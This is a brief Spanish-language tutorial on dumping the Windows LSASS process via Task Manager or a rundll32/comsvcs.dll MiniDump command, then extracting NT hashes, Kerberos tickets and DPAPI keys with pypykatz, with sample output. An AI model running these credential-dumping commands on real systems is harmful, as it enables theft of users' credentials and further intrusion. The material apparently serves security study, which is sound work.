LSASS es un servicio crítico en los sistemas Windows que gestiona credenciales y procesos de autenticación. Guarda en caché las credenciales en memoria, crea tokens de acceso, aplica políticas de seguridad y escribe en el registro de seguridad. Cuando un usuario inicia sesión, LSASS carga las credenciales en memoria para validar autenticaciones posteriores.
Métodos para Dumpear LSASS
Administrador de Tareas
Procesos → Local Security Authority Process (lsass.exe) → clic derecho → "Crear archivo de volcado". Se guarda en C:\Users\[usuario]\AppData\Local\Temp.
Rundll32.exe y Comsvcs.dll
Requiere conocer el PID de lsass.exe (tasklist /svc o Get-Process lsass):
powershell
rundll32 C:\windows\system32\comsvcs.dll, MiniDump [PID] C:\lsass.dmp full
Nota: puede ser detectado por antivirus modernos.
Extraer Credenciales con Pypykatz
terminal
pypykatz lsa minidump /ruta/a/lsass.dmp
txt
== MSV ==
Username: bob
NT: 64f12cddaa88057e06a81b54e73b949b
MSV: valida credenciales contra el SAM, extrae hashes NT y SHA1.
WDIGEST: texto claro en sistemas antiguos, deshabilitado en modernos.
Kerberos: extrae tickets de sesión.
DPAPI: extrae master keys para descifrar datos de Chrome, Outlook, Credential Manager.
Notas Importantes
Dumpear LSASS es más flexible que SAM porque incluye credenciales de usuarios activos. La mayoría de los antivirus modernos detectan y bloquean los intentos de volcado de LSASS.